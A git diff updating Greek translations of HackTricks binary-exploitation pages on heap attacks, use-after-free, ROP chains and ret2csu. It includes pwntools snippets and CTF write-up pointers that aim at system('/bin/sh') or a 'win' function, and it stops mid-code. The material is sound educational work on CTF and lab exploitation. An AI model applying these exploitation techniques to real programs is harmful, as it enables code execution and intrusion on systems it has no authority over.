ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**. - Και τελικά, ένα chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση delete, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη συνάρτηση system με `/bin/sh\x00` ως παράμετρο. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Ένα άλλο παράδειγμα κατάχρησης μιας overflow 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια libc infoleak και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget +- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια libc infoleak και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Μπορούμε μόνο να κατανεμηθούν chunks μεγέθους μεγαλύτερου από `0x100`. +- Μπορούμε να κατανεμηθούν μόνο chunks μεγέθους μεγαλύτερου από `0x100`. - Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits). -- Επίθεση Fast Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα chunks. Αυτό δίνει μια αυθαίρετη αναγνωστική/γραφική πρωτοβουλία, η οποία επιτρέπει να τροποποιηθεί το GOT και να ρυθμιστεί κάποια συνάρτηση να δείχνει στη `system`. +- Επίθεση Fast Bin για να τροποποιηθεί μια παγκόσμια σειρά chunks. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιων συναρτήσεων να δείχνουν στη `system`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index ccf38b050..283e128ce 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -1,16 +1,16 @@ -# Χρήση Μετά την Απελευθέρωση +# Use After Free {{#include ../../../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information Όπως υποδηλώνει το όνομα, αυτή η ευπάθεια συμβαίνει όταν ένα πρόγραμμα **αποθηκεύει κάποιο χώρο** στη heap για ένα αντικείμενο, **γράφει** κάποιες πληροφορίες εκεί, **απελευθερώνει** το προφανώς επειδή δεν χρειάζεται πια και στη συνέχεια **το προσπελάζει ξανά**. -Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελάζεται απελευθερωμένη μνήμη**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανείμει την απελευθερωμένη μνήμη και να αποθηκεύσει αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που αποθηκεύτηκαν αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να το ελέγξει). +Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελαστεί μνήμη που έχει απελευθερωθεί**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανεμηθεί η απελευθερωμένη μνήμη και να αποθηκευτούν αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που είχαν αποθηκευτεί αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να τον ελέγξει). -### Επίθεση Πρώτης Τοποθέτησης +### First Fit attack -Μια επίθεση πρώτης τοποθέτησης στοχεύει τον τρόπο που ορισμένοι κατανεμητές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manipulat **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας ενδεχομένως έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε προβλήματα "χρήσης μετά την απελευθέρωση", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\ +Μια επίθεση first fit στοχεύει τον τρόπο που ορισμένοι διαχειριστές μνήμης, όπως στη glibc, διαχειρίζονται την απελευθερωμένη μνήμη. Όταν απελευθερώνετε ένα μπλοκ μνήμης, προστίθεται σε μια λίστα, και οι νέες αιτήσεις μνήμης αντλούν από αυτή τη λίστα από το τέλος. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτή τη συμπεριφορά για να χει manip ulate **ποια μπλοκ μνήμης επαναχρησιμοποιούνται, αποκτώντας δυνητικά έλεγχο πάνω τους**. Αυτό μπορεί να οδηγήσει σε ζητήματα "use-after-free", όπου ένας επιτιθέμενος θα μπορούσε να **αλλάξει το περιεχόμενο της μνήμης που επανακατανέμεται**, δημιουργώντας έναν κίνδυνο ασφαλείας.\ Δείτε περισσότερες πληροφορίες στο: {{#ref}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md index 615cca992..aaf493a92 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/README.md @@ -4,28 +4,28 @@ ## **Βασικές Πληροφορίες** -**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP. +**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP. ### Πώς Λειτουργεί το ROP 1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack. -2. **Σύνδεση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών. +2. **Gadget Chaining**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδυάζει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών. 3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets. ### Εργαλεία Συνήθως, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ή απευθείας από **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). -## ROP Chain σε Παράδειγμα x86 +## Παράδειγμα ROP Chain σε x86 -### **x86 (32-bit) Κλήσεις Συμβάσεων** +### **x86 (32-bit) Συμβάσεις Κλήσης** -- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.** +- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack με αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.** - **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack. ### **Εύρεση Gadgets** -Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι: +Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι: - `pop eax; ret`: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`. - `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`. @@ -34,7 +34,7 @@ ### **ROP Chain** -Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με: +Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP chain ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με: 1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική) 2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html)) @@ -77,18 +77,18 @@ p.interactive() ### **x64 (64-bit) Calling conventions** -- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου τα **πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`. -- Η calling convention **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`. -- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`. +- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου οι **πρώτοι έξι ακέραιοι ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`. +- Η calling convention **Windows x64** χρησιμοποιεί τους `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`. +- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν τους `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`. #### **Finding Gadgets** -Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως επιχείρημα στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets: +Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη λειτουργία **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets: -- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη **system()**. +- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**. - **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια. -Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**. +Και γνωρίζουμε τη διεύθυνση της λειτουργίας **system()**. ### **ROP Chain** @@ -135,7 +135,7 @@ p.interactive() ### Ευθυγράμμιση Στοίβας -**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι το **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως η **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν από την κλήση της **system** στην ROP αλυσίδα σας. +**Η x86-64 ABI** διασφαλίζει ότι η **στοίβα είναι ευθυγραμμισμένη στα 16 byte** όταν εκτελείται μια **εντολή κλήσης**. **LIBC**, για να βελτιστοποιήσει την απόδοση, **χρησιμοποιεί εντολές SSE** (όπως **movaps**) που απαιτούν αυτή την ευθυγράμμιση. Αν η στοίβα δεν είναι σωστά ευθυγραμμισμένη (σημαίνει ότι **RSP** δεν είναι πολλαπλάσιο του 16), οι κλήσεις σε συναρτήσεις όπως **system** θα αποτύχουν σε μια **ROP αλυσίδα**. Για να το διορθώσετε, απλά προσθέστε ένα **ret gadget** πριν καλέσετε **system** στην ROP αλυσίδα σας. ## Κύρια διαφορά x86 vs x64 @@ -155,20 +155,20 @@ p.interactive() ## Προστασίες κατά του ROP - [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση του stack canary για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα. - **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας. ## Τεχνικές βασισμένες σε ROP -Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX: +Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX: -- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`. +- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`). {{#ref}} ret2lib/ {{#endref}} -- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να την εκτελέσει αυθαίρετες εντολές. +- **Ret2Syscall**: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε μια syscall, π.χ. `execve`, και να εκτελέσει αυθαίρετες εντολές. {{#ref}} rop-syscall-execv/ @@ -184,7 +184,7 @@ rop-syscall-execv/ - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) -- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που ακολουθεί στη στοίβα, η οποία θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία. +- 64 bit, Pie και nx ενεργοποιημένα, χωρίς canary, επαναγραφή RIP με μια διεύθυνση `vsyscall` με τον μοναδικό σκοπό να επιστρέψει στη διεύθυνση που θα είναι μια μερική επαναγραφή της διεύθυνσης για να αποκτήσει το μέρος της συνάρτησης που διαρρέει τη σημαία. - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, χωρίς ASLR, ROP gadget για να κάνει τη στοίβα εκτελέσιμη και να πηδήξει σε shellcode στη στοίβα. diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md index d2fe3de02..023e3b172 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -8,9 +8,9 @@ **ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος. -Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`. +Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει κάποιες ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`. -### Τα Μαγικά Gadgets στο \_\_libc_csu_init +### Τα Μαγεμένα Gadgets στο \_\_libc_csu_init Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε: @@ -24,7 +24,7 @@ pop r14; pop r15; ret; ``` -Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποθηκεύοντας τιμές από τη στοίβα σε αυτούς. +Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς. 2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα: - **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις. @@ -35,7 +35,7 @@ mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; ``` -3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε μια `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε: +3. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και **χρειάζεστε μια `ret` εντολή**. Σημειώστε ότι το δεύτερο gadget θα **τελειώνει επίσης σε `ret`**, αλλά θα χρειαστεί να πληροίτε κάποιες **προϋποθέσεις** για να το φτάσετε: ```armasm mov rdx, r15; mov rsi, r14; @@ -50,7 +50,7 @@ ret Οι συνθήκες θα είναι: - `[r12 + rbx*8]` πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση `_init`): -- Αν η \_init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς τη \_init: +- Αν η _init είναι στη διεύθυνση `0x400560`, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το `[r12 + rbx*8]` να είναι η διεύθυνση με τον δείκτη προς την _init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 @@ -65,12 +65,13 @@ gef➤ search-pattern 0x400560 ## RDI και RSI -Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι να αποκτήσετε πρόσβαση σε συγκεκριμένες μετατοπίσεις: +Ένας άλλος τρόπος για να ελέγξετε **`rdi`** και **`rsi`** από το gadget ret2csu είναι με την πρόσβαση σε συγκεκριμένες μετατοπίσεις:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες: + {{#ref}} brop-blind-return-oriented-programming.md {{#endref}} @@ -79,14 +80,14 @@ brop-blind-return-oriented-programming.md ### Χρησιμοποιώντας την κλήση -Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα. +Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα. Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**: 1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15. -2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`. +2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε σε `[r15 + rbx*8]`. -Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε: +Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε: ```python from pwn import * @@ -111,11 +112,11 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!" ``` > [!WARNING] -> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`. +> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin που καλεί τα gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με μια τρίτη παράμετρο με την τιμή `0xdeadbeefcafed00d`. ### Παράκαμψη της κλήσης και προσέγγιση του ret -Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση: +Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu**, αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση: ```python # Code from 